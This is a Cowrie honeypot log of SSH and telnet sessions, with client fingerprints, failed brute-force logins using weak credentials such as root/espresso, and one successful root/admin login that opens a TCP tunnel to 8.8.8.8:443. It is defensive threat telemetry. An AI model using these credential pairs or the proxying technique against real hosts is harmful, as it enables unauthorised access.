{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/14fd5bb1d7d0166ac8540a58ad9a897a2afc207b69f22a8b2d8dc95fe4732fb3","size":136,"shasum":"14fd5bb1d7d0166ac8540a58ad9a897a2afc207b69f22a8b2d8dc95fe4732fb3","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/14fd5bb1d7d0166ac8540a58ad9a897a2afc207b69f22a8b2d8dc95fe4732fb3 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:46.349266Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"192.7","message":"Connection lost after 192.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:46.351998Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:47.513590Z","src_ip":"118.145.131.27","session":"1d54a50f5d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":58474,"dst_ip":"10.17.0.5","dst_port":23,"session":"993fa1b66593","protocol":"telnet","message":"New connection: 72.167.226.244:58474 (10.17.0.5:23) [session: 993fa1b66593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:56.585258Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":52800,"dst_ip":"10.17.0.5","dst_port":22,"session":"266661684334","protocol":"ssh","message":"New connection: 189.190.244.176:52800 (10.17.0.5:22) [session: 266661684334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:58.268628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:58.272286Z","src_ip":"189.190.244.176","session":"266661684334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:58.345153Z","src_ip":"189.190.244.176","session":"266661684334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@","message":"login attempt [postgres/postgres@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:58.674304Z","src_ip":"189.190.244.176","session":"266661684334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:59.751000Z","src_ip":"189.190.244.176","session":"266661684334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48572,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebc7ad5c2048","protocol":"telnet","message":"New connection: 107.6.151.170:48572 (159.203.135.109:23) [session: ebc7ad5c2048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:25.044622Z"}
{"eventid":"cowrie.session.closed","duration":0.0059697628021240234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:25.050377Z","src_ip":"107.6.151.170","session":"ebc7ad5c2048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.196425437927246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:27.781556Z","src_ip":"72.167.226.244","session":"993fa1b66593","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":46488,"dst_ip":"10.17.0.5","dst_port":23,"session":"c05c2710b1ac","protocol":"telnet","message":"New connection: 72.167.226.244:46488 (10.17.0.5:23) [session: c05c2710b1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:40.078358Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":44636,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a9cc7c3a4b6","protocol":"ssh","message":"New connection: 89.223.69.22:44636 (159.203.135.109:22) [session: 6a9cc7c3a4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:43.070431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:43.074567Z","src_ip":"89.223.69.22","session":"6a9cc7c3a4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:43.181638Z","src_ip":"89.223.69.22","session":"6a9cc7c3a4b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rtyfgh","message":"login attempt [root/rtyfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:43.502310Z","src_ip":"89.223.69.22","session":"6a9cc7c3a4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:44.613717Z","src_ip":"89.223.69.22","session":"6a9cc7c3a4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":59186,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e14c9028fcb","protocol":"ssh","message":"New connection: 77.94.47.83:59186 (10.17.0.5:22) [session: 1e14c9028fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:50.648206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:50.651628Z","src_ip":"77.94.47.83","session":"1e14c9028fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:50.761728Z","src_ip":"77.94.47.83","session":"1e14c9028fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"espresso","message":"login attempt [root/espresso] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:51.092733Z","src_ip":"77.94.47.83","session":"1e14c9028fcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:52.205292Z","src_ip":"77.94.47.83","session":"1e14c9028fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":59068,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3dda16aa038","protocol":"ssh","message":"New connection: 45.61.187.220:59068 (159.203.135.109:22) [session: c3dda16aa038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:54.562558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:54.565032Z","src_ip":"45.61.187.220","session":"c3dda16aa038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:54.595634Z","src_ip":"45.61.187.220","session":"c3dda16aa038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PAssw0rd","message":"login attempt [root/PAssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:54.771620Z","src_ip":"45.61.187.220","session":"c3dda16aa038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:55.813370Z","src_ip":"45.61.187.220","session":"c3dda16aa038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":51728,"dst_ip":"10.17.0.5","dst_port":22,"session":"a40c8234843f","protocol":"ssh","message":"New connection: 195.178.110.137:51728 (10.17.0.5:22) [session: a40c8234843f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.285602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.288656Z","src_ip":"195.178.110.137","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.367605Z","src_ip":"195.178.110.137","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.686244Z","src_ip":"195.178.110.137","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"8.8.8.8","dst_port":443,"src_ip":"195.178.110.137","src_port":0,"message":"direct-tcp connection request to 8.8.8.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.768099Z","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"8.8.8.8","dst_port":443,"ja4":"t12d131100_f57a46bbacb6_4b7cee5f0569","message":"JA4 fingerprint for forwarded TLS to 8.8.8.8:443: t12d131100_f57a46bbacb6_4b7cee5f0569","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.849052Z","src_ip":"195.178.110.137","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"8.8.8.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x05\\xd9\\x01\\x00\\x05\\xd5\\x03\\x03#\\xc8\\xb1\\x93\\xc56\\xf8bK\\xdc\\x0e\\xe9\\xc9`\\xe6\\xd8@\\xbf\\xa0\\x06\\xd6gL\\xd5[\\xdc9\\xa5\\xe3/\\x06L \\x1fp\\xfc\\xa7R\\x99\\xf6\"\\xce*;c\\xb4q\\xfe11\\xf2\\x1dQ\\xfd\\xa7\\x9aAC\\xadb\\xcf\\xc9U\\xc5\\xd0\\x00\\x1a\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\t\\xc0\\x13\\xc0\\n\\xc0\\x14\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x05r\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ndns.google\\x00\\x0b\\x00\\x02\\x01\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x10\\x00\\x0e\\x11\\xec\\x11\\xeb\\x11\\xed\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\r\\x00\\x16\\x00\\x14\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x002\\x00\\x1a\\x00\\x18\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x02\\x01\\x02\\x03\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x003\\x04\\xea\\x04\\xe8\\x11\\xec\\x04\\xc0\\xeaP\\x08\\xe6E\\xcc\\x18bZK\\xd7L\\xd0S\\xa9,$\\xa2\\x1a\\xa6o\\xf3$\\xc2$\\x08G@\\xb4?(X\\x1af\\xc8w8\\xd7H\\xbeh\\xa4\\x97\\x92\\xbf\\xef$b\\x82yT\\xdd\\x88\\x89/\\xd6w\\xe2\\x8c\\x8aT\\x13\\x0b\\xf1\\x07\\xbb\\xd8u\\xc5\\xe7\\x81\\x97d\\xc5\\x8b_\\x98\\x9bki\\xcc\\xa4\\xa2\\xcb\\x9a<\\x16\\xe0J\\x03x\\xb8\\x87\\x064\\n\\x17\\xc9\\xc2\\xf1TN\\xa4[\\x14\\x102]\\t\\x02\\x08Aw\\x1b(\\xdc\\'\\xb0#\\x99\\xd0\\xd2\\t\\xa4\\x855h\\xa6E\\xbf(\\x07\\n\\x04\\xc4\\x13|]\\xac\\x8a\\xcb\\x9d\\xa9\\xcf1\\xfc\\x89\\xceSV6%\\x92\\x1c\\xf1\\x0bBfw\\xcfHi\\xd34_\\xb3\\xc3u\\x9aW\\x9d\\x8bR\\x87\\xf3\\xe6.h\\xe3h6\\x97Y\\x8b7@\\xd0\\x94\\xbe\\x1d\\x1c\\x11Va\\xa7n\\x04)\\xf5h/r\\x14\\xaa#hd@h\\r%\\xe4g\\xc8\\x8b.v4e\\x99\\x8a\\xcd\\xbeC~1{\\xc1\\x0b\\x02hx\\n\\x87hx}\\xed\\xa5;\\x8bFb<\\xe4S<t\\x88\\xcf\\x1b\\x1fk\\xdc\\x1c\\x03t\\x1d\\x0f\\x06VX\\x02\\x0e\\x8d:\\xa7\\xc8\\xfb\\xaf\\xb3%\\xabc\\xa71o\\x9c\\x18\\xbc5\\xa7|r|\\xe9\\x80\\x83\\xc6q\\x95\\xb5I\\xb2\\x93\\xfcp\\x97\\xf1t\\x0e\\n_\\x96d\\x03\\xc0\\xe9\\x8a}\\xe1\\xcd/\\xa9V\\x10\\xfb\\x03\\xd2\\xfc\\xaa-y+\"D\\x8d\\xccV\\x135lf\\x9f\\xa9>\\x00\\x93%\\x83Q\\xb4nJ\\xac\\x07\\x12T\\xe3\\xfa`\\xe0\\xf9*<\\xf6/\\x13\\xe3\\x15<B\\x03;y^\\xea\\xc1\\x1b\\xf7a]\\xfd\\xb6\\x8c\\xd2\\xc3\\xba\\xf9\\x9a\\xc1\\xbb\\xac\\xb0\\xbe\\xe0\\x92LV4\\xad\\xa8\\x1c\\xb5\\xa4\\x12\\x00\\x01B>\\x07(\\xbf7\\x97i\\x01.\\xf6G\\xc1lv\\x89\\x1c\\xfb9=\\x1b[\\xdd\\xe1\\xa7Q\"\\x1c\\xbat\\xcf2k\\x18\\xb2\\xf9\\x7f\\xfc;\\xbe\\xd8\\xb5\\'M\\x84}x\\xf6\\xc0\"\\x84\\x06\\xdd\\t\\x01\\xf6\\x1a.0\\xf4L\\xb8\\x18\\x00H\\xf3\\x18\\xc4\\x965\\\\:\\x15F\\xf9!\\x99\\xf3\\xc3\\x93\\xd1\"9\\x08G3\\x1b\\xb4J\\xc1\\xcc\\x17xR\\xe73\\x02-\\x97(\\x13v\\x80\\\\\\xd0X\\x188\\x04\\xc1z\\x8f\\x9c\\xd6\\x986,\\xbcV\\xb1\\xc8\\x00)\\xac%S~\\xc4P2V\\x16\\xbf\\x85\\x95\\x98\\xec\\xe4B\\xf0\\x89]\\xe7\\xd1Z\\xf0\\xc2\\x00\\xb9\\xdb\\xa4o\\xfc\\xc1Q\\xc6%\\t\\\\\\x15\\xe2\\x81\\x17\\x99\\xb7o4\\xf18\\x19\\xa2\\xc77$\\xaa\\xfb\\xe1-\\xdfF\\x18\\xbc\\xb9\\n\\xaeU\\x8d9$\\x11\\x16\\xb7\\xa7\\xc2\"3\\x01\\xbbU\\xee\\xa4\\x1eS\\xe1b\\xa0C[\\x13\\x8a\\x19\\xdb\\x81O\\x86\\x1c\\xb0e\\x11\\xac9\\x92\\'#c0\\xe8w\\xaa`\\x0b\\x8b%\\x06\\xcb\\xcc\\x00\\xcai\\x05D\\xe7\\xb8\\x84\\xb3U\\x15\\xe5|nb\\xcc\\x8a>\\xc0u\\x88\\xa0\\x1f\\xea\\x01\\x1cJ\\x8cNE\\xba76\\xa4\\x950\\xe0\\x87\\xbbgY=\\xa0\\xb2\\xfcZ\\x82\\x9a\\x94\\x97\\xed\\x10S\\xa9\\xf5(|\\x82\\xa4\\xd8\\xd1\\x02\\x8d\\xc5\\xcc\\x1f\\xf9\\x8a\\xe0\\xf4\\x9f.\\x87?\\xe2\\xd9C\\xb0\\xaa\\xa97\\xd4!:X\\xa7\\xcd\\x8aH2eR\\xa2R8\\xe7\\xe7&m\\xd4\\xa4\\xe8\\xf7\\x08\\x18\\xf6\\tD!\\x9d.\\x88\\x0eG6 \\xfc\\xa2\\xa5.\\x05C\\xaa\\xcc\\x85<{\\xa5\\xcc\\xc2e\\x9c9rM\\x83\"\\xe6\\xebW+\\xaa\\x0f\\xaf\\x96>\\x0bgyx\\xb6\\xab\\x12P#~I\\x05\\xefFyo\\x89\\xa4\\x12\\xa2G\\xbe\\x8a^\\x1aF\\xa6\\xb3\\xd4\\x14\\x80sO\\x0f\\xf1-$E\\x04\\\\\\xa9\\x1ei\\xb97n%\\xc4\\x0cVvr\\x9a\\xb0\\x93\\x08;\\xb0\\xf7\\xb6\\x16\\x0bv\\x9dp\\x80N\\x94\\x14\\xa1\\xb8\\xaf\\x0e\\xe8\\x11\\xd6\\x17\\x94\\xcaz/nGJ\\xde\\xda\\x06\\x98<\\x85H\\x1c\\x0e2\\x10b\\xca:p\\x811k~\\xa2\\xbd\\x12\\xc1\\x9f\\x8b|\\xc9\\x0c\\xd9{\\xfb %\\xa1\\x15\\xc8\\xbf\\xe3\\xa2\\xe5\\xca)\\xcd\\x99^\\xfb\\xa4kg\\xb5w\\xa7\\xe9\\x90\\xef\\x03\\xc03\\x17\\x90\\xab\\xd2\\x12\\xa8\\xfa\\x99#\\x987\\x8b\\x82-\\xb48 